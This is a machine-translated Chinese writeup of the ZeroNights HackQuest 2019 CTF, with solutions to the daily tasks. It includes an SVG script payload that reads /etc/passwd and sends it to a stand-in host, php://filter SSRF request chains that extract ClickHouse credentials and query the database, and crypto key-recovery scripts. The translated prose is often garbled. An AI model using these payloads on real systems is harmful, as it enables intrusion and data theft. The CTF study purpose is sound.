ZeroNights Hackquest2019。结果与写作

最近,定时与ZeroNights会议同期举行的一年一度的HackQuest已经结束。 与往年一样,参与者必须解决7个不同的任务-一项任务是一天的任务。 一如既往,作业有助于我们的社区合作伙伴做好准备。 您可以了解如何解决任务,以及这次是谁成为了hackquest的赢家。


图片

第一天。


优胜者
第一名第二名
弗拉德维斯Godaswag

今年的第一份工作是由数字安全审核小组准备的。 为了解决这个问题,参与者必须经历三个阶段:访问游戏门户的内部聊天内容,利用Discord bot中的漏洞,以及在Kubernetes集群中使用错误的权限设置。


第一天任务的决定(vladvis)

第一步:graphql


  • 最初,我们进入具有js客户端游戏和评分的Web应用程序。
  • 除静态外,仅向后端发出1个请求:
  • 您可以使用以下查询获取所有类型及其字段的列表:
    { __schema { types { name fields { name } } } } 
  • 我们将看到注释字段,在初始请求中对其进行请求,并获得指向下一步的链接。

第二步:Discord机器人


  • 机器人在服务器上遇到我们并为我们创建一个单独的渠道
  • 随即,我们在gitea中看到了SSRF的提示,但我从未想到过=(
  • 我们尝试读取本地文件:
     <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> 
  • 我们得到/ etc / passwd并看到2个用户:worker,代表svg和gitea呈现
     worker:x:1000:1000::/home/worker:/bin/sh gitea:x:1001:1001::/home/gitea:/bin/sh 
  • 这一步我经历了一条意外的路径:在.bash_history中,工作程序具有指向ssh密钥的路径以及到下一阶段的服务器地址。
     cd nano .ssh/connect_info echo > .bash_history exit cd cd .ssh/ chmod 755 id_rsa ls -al cat id_rsa exit 

    第三步:kubernetes

  • 看来我先进入了这个阶段。 .bash_history和ps为空,因此我得出结论,对于每个IP,都会创建一个隔离的环境
  • 在mount中找到了kubernetes的令牌
  • 最初不清楚在哪里获得令牌,然后我开始扫描网格...然后在某个时候,我开始走进云中的邻居
  • 此后,发出了要扫描的子网的提示,并且几乎立即发现了其余的api kubernetes。
  • 在这一点上,我意识到我并不孤单在服务器上,也不想削减某些东西,例如遮罩cmdline,所以我决定这样做 更容易 这是更痛苦的,并通过ssh转发给自己的袜子代理
  • 使用kubectl get podskubectl get pods了一个容器列表,并且kubernetes文档建议exec可以使用与docker相同的语法
  • 然后,袜子代理遭受了1.5个小时的苦难,高管的websocket却没有上升。 我最终通过ssh直接去了kubectl
  • 第二个容器具有一个新令牌,并且它已经可以访问相邻命名空间zn2中的群集(最初我们在命名空间zn1中),从中可以看到redis
  • 我们回想起过去Zeronights的报告 @paulaxe ,并使用此PoC获得了RCE,例如
  • 收到下一个令牌后,您可以从kubernetes机密中提取该标志

第2天。MICOSOFTLUNIX


优胜者
第一名第二名第三名
撕裂罪__AV1ct0r
还决定:demidov_al,gotdaswag,medidrdrider,groke_is_love_groke_is_life

第二天的任务是由r0 Crew社区的成员准备的。 要解决此问题,您需要为内核已修改的Linux映像生成激活密钥。


第二天任务的决定(撕毁)

给定: jD74nd8_task2.iso文件,可启动ISO映像。 从映像中的文件中,我们可以假定它是Linux:有一个内核boot/kernel.xz ,一个初始ramdisk boot/rootfs.xz和一个boot loader boot/syslinux/ boot/rootfs.xz boot/syslinux/


我们正在尝试解压缩核心和虚拟磁盘。 Ramdisk是由xz压缩的常规cpio归档文件。 使用脚本https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux解压缩内核。 您还可以注意内核信息:


 > file kernel.xz kernel.xz: Linux kernel x86 boot executable bzImage, version 5.0.11 (billy@micosoft.com) #1 SMP Sat Aug 25 13:37:00 CEST 2019, RO-rootFS, swap_dev 0x2, Normal VGA 

在此过程中,我们在iso映像中发现了minimal/rootfs/bin/activator的主要任务:一切归结为将输入的电子邮件数据和激活密钥以$email|$key格式写入设备/dev/activate 。 如果成功进行了密钥检查,则从/dev/activate读取将产生ACTIVATED行,在这种情况下,激活器将开始游戏2048。


现在该来看一下动态任务了。 为此,请在KVM中运行仿真器:


 > qemu-system-x86_64 -enable-kvm -drive format=raw,media=cdrom,readonly,file=jD74nd8_task2.iso 

Linux启动并立即从覆盖启动/bin/activator 。 这是在/etc/inittab阐明的。 为了避免长时间深入二进制游戏,我想获取一个shell并至少查看/proc/sys 。 对我而言,最简单的方法是将iso文件简单地上传到激活程序脚本本身所在的位置。 代替sleep 1 set /bin/sh ,即 每次尝试输入序列号后,我都会收到一个外壳。


所以有一个外壳:我们看起来/proc/kallsyms不存在,即 缺少内核字符。 当然,有了它们,速度会快得多,但是没关系。 我们正在寻找有关device /dev/activator


 / # ls -la /dev/activate crw------- 1 0 0 252, 0 Oct 15 08:57 /dev/activate / # cat /proc/devices Character devices: ... 252 activate ... Block devices: ... 

/proc/devices的信息可以看出,这是具有主要版本252和次要0的char设备。


现在是时候在内核二进制文件中找到该设备的注册功能,以查找其write操作的处理程序了。 为此,找到对字符串activate交叉引用。 但是内核中没有这样的代码行,可能是某种程度上被隐藏了。


在下一个尝试中,我们尝试找到负责注册字符设备的函数: cdev_addregister_chrdev 。 可以通过交叉引用/dev/console或任何其他字符设备并获取内核源代码来完成(我使用的版本是5.0.11,但不确定该版本是否正确)。 查看了正在注册的设备的列表之后,我们没有找到具有主版本252的设备,这两个功能很可能没有注册。


让我们尝试寻找动态方面的其他线索:


 / # ls -la /sys/dev/char/252:0 lrwxrwxrwx 1 0 0 0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate 

这是要EEy????IEEy????I设备EEy????I 我们尝试在二进制中找到这条线,它在那里!



尽管未找到对它的交叉引用,但在它旁边是类似于字符串的可见数据。 如果查看使用它们的代码,则可以看到它们是activate设备所需的读写处理程序,并通过简单的XOR进行了加密。


读取处理功能:



处理写操作的功能,它也是许可证检查:



快速检查激活验证码表明,最简单的方法是在地址0xFFFFFFFF811F094B处放置一个断点,然后在此处提取激活码,而无需真正研究那里发生的事情。 为此,请使用-s标志运行qemu。 在这种情况下,qemu运行gdb存根,这使您可以使用任何gdb客户端。 如果您具有许可证,则在IDA Pro中最简单,最快的方法。 但是没有人禁止在控制台gdb中做所有事情。


我们按照官方教程中的说明进行所有操作 。 现在,您需要在已经运行的内核中找到处理功能。




由于内核是使用KASLR支持构建的,因此正在运行的内核的地址将移至每次内核启动时都会生成的随机偏移量。 我们计算该偏移量(我们在调试内核的代码中获取唯一字节序列的地址,然后从二进制中减去该序列的地址),然后将激活函数添加到该地址,然后在内存中找到它。 一切,现在取决于规模。 设置一个断点并获取代码。





参与者之一已经在中心发布了此任务的解决方案。 您可以在这里熟悉它。


第3天。


优胜者
第一名
黑风扇

通过beched( DeteAct )准备的作业。 不平凡的付款页面向与会人员表示欢迎。 对于该解决方案,必须使用php函数file_get_contents的功能访问Clickhouse数据库。


第三天任务的决定(blackfan)

任务是付款页面,其中唯一有趣的参数是callback_url。


https://i.imgur.com/iX65TI3.png


我们指出您的网站并捕获请求:


 http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id= 

 POST / HTTP/1.0 Host: attacker.tld Connection: close Content-Length: 21 Content-Type: application/json amount=0&payment_id=0 

仅当站点返回字母数字字符串时,才会显示HTTP响应。 答案示例:


 {"result":"Success.","msg":"Response: testresponse"} {"result":"Invalid status code.","msg":"Non-alphanumeric response."} 

我们以callback_url data的形式尝试:,测试并了解,很可能是PHP。


 http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id= 

我们使用php://过滤器读取本地文件,并使用convert.base64-encode对响应进行编码,以使答案与字母数字匹配。 由于字符+,/和=,有时需要组合几个base64调用来显示答案。


 http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php 

 <?php error_reporting(0); /* * DB configuration */ $config = [ 'host' => 'localhost', 'port' 

响应输出限制为200个字节,但是从这些片段中,我们了解了本地主机上数据库的可用性。 我们通过callback_url对端口进行排序,并在DeteAct博客的ClickHouse中找到有关注入新文章 ,该文章与奇怪的任务名称“ HOUSE OF BECHED”相对应。


https://i.imgur.com/OBn22wi.png


ClickHouse具有一个HTTP接口,允许您执行任意请求,这在SSRF中使用非常方便。


我们阅读了文档,尝试从配置中获取一个帐户。


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

 <?xml version="1.0"?> <yandex> <!-- Profiles of settings. --> <profiles> <!-- Default settibm 

同样,限制输出干扰,并根据标准文件判断,所需字段距离非常远。


https://i.imgur.com/5Un6gfj.png


使用string.strip_tags过滤器减少多余的部分。


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

但是直到收到密码后,输出长度仍然不够。 添加一个压缩过滤器zlib.deflate。


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

并以相反的顺序在本地读取:


 print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv')); 

收到密码后,我们可以按以下方式发送ClickHouse请求:


 http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx' 

但是由于我们最初发送POST,所以我们需要使用重定向解决此问题。 最终的请求结果是这样的(在此阶段,我非常笨,因为由于大量嵌套的参数处理,我不正确地编码了特殊字符并且无法执行请求)


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

好了,那就从数据库中获取数据:


 select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn 

 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

第4天。ASR-EHD


优胜者
第一名
AV1ct0r

第四天的任务是由数字安全研究部门准备的。 任务的主要任务是展示对随机数源的错误选择如何影响加密算法。 在taskka中,基于LFSR实现了用于DH的自写随机私钥生成器。 使用公共DH值接收到足够数量的连续TLS握手后,便可以恢复LFSR的初始状态并解密所有流量。


第四天任务的决定(AV1ct0r)

第4天/ ASR-EHD-由AV1ct0r撰写


彼得有点偏执:他总是使用加密连接。 为确保算法安全,Peter使用了自己的客户端。 他甚至给了我们一个使用他的自定义客户端时进行的流量转储。 彼得的联系真的很安全吗?


https://hackquest.zeronights.org/downloads/task4/8Jdl3f_client.tar
https://hackquest.zeronights.org/downloads/task4/d8f3ND_dump.tar


  1. 在IDA Pro中打开客户端文件,并查看它可以从服务器https://ssltest.a1exdandy.me:443/下载标志文件的一部分。 从命令行获取要下载文件的哪一部分(从哪个字节开始)。


     signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } 

    服务器上没有带有该标志的图片,但是dump.pcap原来有大量的ssl流量,大概是图片的一部分。 快速检查服务器是否出现故障(窃取用于解密流量的私钥)后,发现该服务器不容易受到攻击。 此外,在SSL会话中,根据流量转储和客户端,使用DHE-RSA-AES128-SHA256密码,其中RSA仅用于签名,并且密钥根据Diffie-Hellman方案进行交换(此模式下的专用RSA服务器密钥无济于事)


  2. 服务器略带podirbastiv,找到了一个简单的恶意软件文件https://ssltest.a1exdandy.me/x ,缝入其中的管理员地址为0x82C780B2697A0002(0x82C780B2:0x7a69 = 178.128.199.130 opin1337)。 当连接到端口31337时,发现服务器支持3个命令,其中一些命令要求其他参数


     nc 178.128.199.130 31337 Yet another fucking heap task... Command: 1-3 1 - Index: - Size: 2 - Index: 3 - Index: - Length: 

    但是,使用此端口无法做进一步的工作,这很可能是一项分心的任务。


  3. 在仔细查看了客户端之后,我看到它使用了自定义的Diffie-Hellman机密生成器:


     int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); } 

    最初,从/ dev / urandom中读取机密(512字节)并将其保存到状态文件中。 对于每个后续请求,以下秘密都会发生:


     XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1 CMP = 2**4096 state *= 2 if state > CMP: state ^= XOR 

    长数字的机密向左移动1位,如果最高有效位为1,则该数字的常数为5个非零位(XOR)。



查看pcap,我发现从服务器到达的Diffie-Hellman参数是恒定的:


 dh_g = 2 dh_p = 

并且每次建立连接时,客户端都会发送其Diffie-Hellman机密的公共部分。 通过比较相邻会话的秘密的公开部分,您可以还原客户端的初始秘密,然后恢复每个会话的所有后续秘密:
如果秘密的最高位为0,则在下一个会话中,秘密将简单地大2倍,并且公共部分将以p为模的平方。 因此,有可能恢复初始机密(从/ dev / urandom中读取的内容)以p为模:


212030266574081313400816495535550771039880390539286135828101869037345869420205997453325815053364595553160004790759435995827592517178474188665111332189420650868610567156950459495593726196692754969821860322110444674367830706684288723400924718718744572072716445007789955072532338996543460287499773137785071615174311774659549109541904654568673143709587184128220277471318155757799759470829597214195494764332668485009525031739326801550115807698375007112649770412032760122054527000645191827995252649714951346955180619834783531787411998600610075175494746953236628125613177997145650859163985984159468674854699901927080143977813208682753148280937687469933353788992176066206254339449062166596095349440088429291135673308334245804375230115095159172312975679432750163246936266603077314220813042048063033927345613565227184333091534551071824033535159483541175958867122974738255966511008607723675431569961127852005437047813822454112416864211120323016008267853722731311026233323235121922969702016337164336853826598082855592007126727352041124911221048498141841625765390204460725231581416991152769176243658310857769293168120450725070030636638954553866903537931113666283836250525318798622872347839391197939468295124060629961250708172499966110406527347

从中很容易计算出所有其他会话的秘密。


这里有问题:
A)Wireshark知道Diffie-Hellman的秘密,就无法解密SSL,并且没有现成的解决方案。 我们需要计算Diffie-Hellman(又称预掌握密钥会话)的共同秘密,并使用它来使用大型自行车找到主密钥会话(我认为SSL中没有自行车)。 接下来,您可以制作一个SSLKEYLOG文件,在其中随机写入客户端(在每个ssl会话中)和主密钥,并在WireShark设置中指定SSL解密并从理论上获利。


但是又出现了一些问题:
B)PHP被认为太慢了(不使用bcaddbcpowmod函数...),我决定用python重写它。
C)找不到以人为形式的通过预主密钥计算主密钥的公式,ssl很难理解,我也无法得到openssl来输出中间计算的结果。 结果,我使用了以下代码描述和某种RFC:


结果,经过半天,我得以覆盖了这一点(对我来说,没有自行车是不可能的):


 for i in xrange(0, 4264): dh_secret = pow(srv_pubkeys[i], state, dh_p) dh_secret = hex(dh_secret)[2:-1] if len(dh_secret) % 2 : dh_secret = "0"+dh_secret while dh_secret[0:2] == "00": dh_secret = dh_secret[2:] dh_secret = dh_secret.decode("hex") seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex") A = seed master_key = "" for j in xrange(0, 2): A = hmac.new(dh_secret, A, hashlib.sha256).digest() master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest() master_key = master_key[0:48].encode("hex") print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key state *= 2 if state > CMP: state ^= XOR 

D)为了剥夺各种客户端的随机性,...从Wireshark会话中导出到csv,并搜索csv作为“ ...”得到的原始流量。


E)为了解密4264个会话,WireShark决定吃掉许多GB的操作员(对于他来说,这还不够8),但是什么也没做,您可以在功能强大的计算机上运行所有内容,而不能在性能较弱的笔记本电脑上运行。 但是,在导出http对象(图片的解密片段)时,WireShark只能保存前1000个文件,然后其编号结束。 结果,我不得不将pcap分成每个1000 tcp会话的5个部分。 粘贴所有片段后,结果是一幅如此美丽的图画:



获胜者用于解决任务的所有文件都可以在此处找到。


第五天,保护壳


优胜者
第一名第二名第三名
沃斯半月克洛
还决定了:Maxim Pronin,0x3c3e,tinkerlock,demidov_al,x @ secator,groke_in_the_sky,d3fl4t3

RuCTFE准备的任务 。 为参与者提供了具有多种反调试技术的模糊可执行文件。 可执行文件就像连接到先前已知服务器的SSH客户端一样。 任务是了解此文件的算法,以便在服务器上执行命令。 作者的解决方案涉及绕过反调试和分析混淆。


值得注意的是,最快的参与者以不同于作者计划的原始方式解决了任务,此后他找到了另一种解决方法。 您可以在下面的扰流板下看到他的操作方式。


第五天任务解决方案选项(VOS)


第六天。解锁


优胜者
第一名第二名第三名
Godaswagmedidrdrider系统

第六天的任务是由VolgaCTF团队准备的。 给定一个实现自定义加密算法的可执行文件。 任务是在没有已知密钥的情况下解密使用该算法加密的条件中给出的文件。


第六天任务解决方案(gotdaswag)

简介


给定一个包含两个文件的归档文件: lockersecret.png.enc


第一个文件是Linux x86-64的ELF ,它接收文件和加密密钥作为输入,第二个文件是加密的PNG图像。


 # ./locker Required option 'input' missing Usage: ./locker [options] Options: -i, --input in.png Input file path -o, --output out.png.enc Output file path -k, --key 0004081516234200 Encryption key in hex -h, --help Print this help menu 

储物柜


在分析了IDA中的文件之后,我们在项目:: main函数中找到了加密算法。



经过研究,我们知道这是一个块密码 (ECB),块大小为32位 ,密钥大小为64位 ,轮数为77


Python版本

 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = (p >> 4) & 1 n |= (p >> 26) & 0xE0 n |= (p >> 22) & 0x10 n |= (p >> 13) & 8 n |= (p >> 7) & 4 n |= (p >> 4) & 2 x = p ^ k x ^= p >> 12 x ^= p >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: p &= 0xFFFFFFFE else: p |= 1 k = ror(k, 1, 64) p = ror(p, 1, 32) return p 

秘钥


我们知道加密文件是PNG图片。
因此,我们知道了几个文件头形式的明文密文 (PNG的标准格式)。


让我们尝试简单的方法,并使用SMT求解器Z3 )查找加密密钥。
为此,请稍微修改代码,然后将一对明文-密文提交给输入。


task6_key.py

 import sys import struct from z3 import * # PNG file signature (8 bytes) + IHDR chunk header (8 bytes) PLAIN_TEXT = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52' BLOCK_SIZE = 4 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = LShR(p, 4) & 1 n |= LShR(p, 26) & 0xE0 n |= LShR(p, 22) & 0x10 n |= LShR(p, 13) & 8 n |= LShR(p, 7) & 4 n |= LShR(p, 4) & 2 x = k ^ ZeroExt(32, p) x ^= LShR(ZeroExt(32, p), 12) x ^= LShR(ZeroExt(32, p), 20) x &= 1 y = 1 << ZeroExt(32, n) y &= 0xBB880F0FC30F0000 y = LShR(y, ZeroExt(32, n)) y &= 1 p = If(x == y, p & 0xFFFFFFFE, p | 1) p = RotateRight(p, 1) k = RotateRight(k, 1) return p def qword_le_to_be(v): pv = struct.pack('<Q', v) uv = struct.unpack('>Q', pv) return uv[0] if len(sys.argv) < 2: sys.exit('no input file specified') with open(sys.argv[1], 'rb') as encrypted_file: k = BitVec('k', 64) key = k solver = Solver() for i in range(0, len(PLAIN_TEXT), BLOCK_SIZE): # prepare plain text and cipher text pairs pt = struct.unpack('<L', PLAIN_TEXT[i:i + BLOCK_SIZE])[0] ct = struct.unpack('<L', encrypted_file.read(BLOCK_SIZE))[0] p = BitVecVal(pt, 32) e = BitVecVal(ct, 32) solver.add(encrypt(p, k) == e) print('solving ...') if solver.check() == sat: encryption_key = solver.model()[key].as_long() print('key: %016X' % qword_le_to_be(encryption_key)) 

解决方案:


 > python task6_key.py "secret.png.enc" solving ... key: AE34C511A8238BCC 

解锁者


.
.


task6_unlocker.py

 import sys import time import struct import binascii BLOCK_SIZE = 4 ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) def decrypt(e, k, rounds=77): dk = ror(k, 13, 64) for i in range(0, rounds): dk = rol(dk, 1, 64) e = rol(e, 1, 32) n = (e >> 4) & 1 n |= (e >> 26) & 0xE0 n |= (e >> 22) & 0x10 n |= (e >> 13) & 8 n |= (e >> 7) & 4 n |= (e >> 4) & 2 x = e ^ dk x ^= e >> 12 x ^= e >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: e &= 0xFFFFFFFE else: e |= 1 return e if len(sys.argv) < 2: sys.exit('no input file specified') elif len(sys.argv) < 3: sys.exit('no output file specified') elif len(sys.argv) < 4: sys.exit('no encryption key specified') try: key = binascii.unhexlify(sys.argv[3]) key = struct.unpack('<Q', key)[0] except: sys.exit('non-hexadecimal encryption key') print('unlocking ...') start_time = time.time() with open(sys.argv[1], 'rb') as ef: with open(sys.argv[2], 'wb') as df: while True: ct = ef.read(BLOCK_SIZE) if not ct: break ct = struct.unpack('<L', ct)[0] pt = decrypt(ct, key) pt = struct.pack('<L', pt) df.write(pt) print('done, took %.3f seconds.' % (time.time() - start_time)) 

, .


 > python task6_unlocker.py "secret.png.enc" "secret.png" "AE34C511A8238BCC" unlocking ... done, took 49.669 seconds. 

secret.png


ZN{RA$T0GR@PHY_H3RTS}

Day 7. Beep Beep!


1
sysenter

SchoolCTF . , , . , , .


(sysenter)

Something that looks like VirtualBox RAM dump is provided to us.


We can try volatility, but it seems that it unable to locate required structures to restore Virtual Memory layout.



No process memory for us today, so we will have to work with fragmented memory.


First of all let's precache strings from the dump.


 strings > strings_ascii.txt strings -el > strings_wide.txt 

Most interesting one is command execution log:


 cd .. .\injector.exe 192.168.1.65 .\run.exe .\storage cd .\server\ .\run.exe block1 .\run.exe block0 cd Z:\zn_2019\ cd .\server\ cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd .. touch echo echo qwe echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ injector.exe 1921.68.1.65 injector.exe 192.68.1.65 ./injector.exe 192.68.1.65 .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\server\ run storage .\run.exe .\storage cd Z:\zn_2019\server\ .\run.exe block1 cd Z:\zn_2019\server\ .\run.exe block0 cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 .\injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 '.\ConsoleApplication5 (2).exe' 192.168.1.65 

Not Important note:


Not sure what SIGN.MEDIA is, but it looks like a cached file list from VirtualBox Network Share (Is this from Windows Registry?).


 SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=138A400 zn_2019\Injector2.exe SIGN.MEDIA=138A400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\With_little_debug.exe SIGN.MEDIA=138A400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=138A400 zn_2019\injector.exe SIGN.MEDIA=138A400 zn_2019\nnnn.exe SIGN.MEDIA=138A400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=138A400 zn_2019\note.exe SIGN.MEDIA=138A400 zn_2019\note2.exe SIGN.MEDIA=138A400 zn_2019\note3.exe SIGN.MEDIA=138A400 zn_2019\note4.exe SIGN.MEDIA=138A400 zn_2019\random.exe SIGN.MEDIA=138A400 zn_2019\z.exe SIGN.MEDIA=17582C zn_2019\Injector2.exe SIGN.MEDIA=17582C zn_2019\injector.exe SIGN.MEDIA=196C2 zn_2019\server\run.exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C176B0 zn_2019\Injector2.exe SIGN.MEDIA=1C176B0 zn_2019\injector.exe SIGN.MEDIA=1C176B0 zn_2019\note.exe SIGN.MEDIA=1C176B0 zn_2019\note2.exe SIGN.MEDIA=1C176B0 zn_2019\note3.exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1D02C zn_2019\Injector2.exe SIGN.MEDIA=1C1D02C zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C1D02C zn_2019\With_little_debug.exe SIGN.MEDIA=1C1D02C zn_2019\injector.exe SIGN.MEDIA=1C1D02C zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C1D02C zn_2019\note.exe SIGN.MEDIA=1C1D02C zn_2019\note2.exe 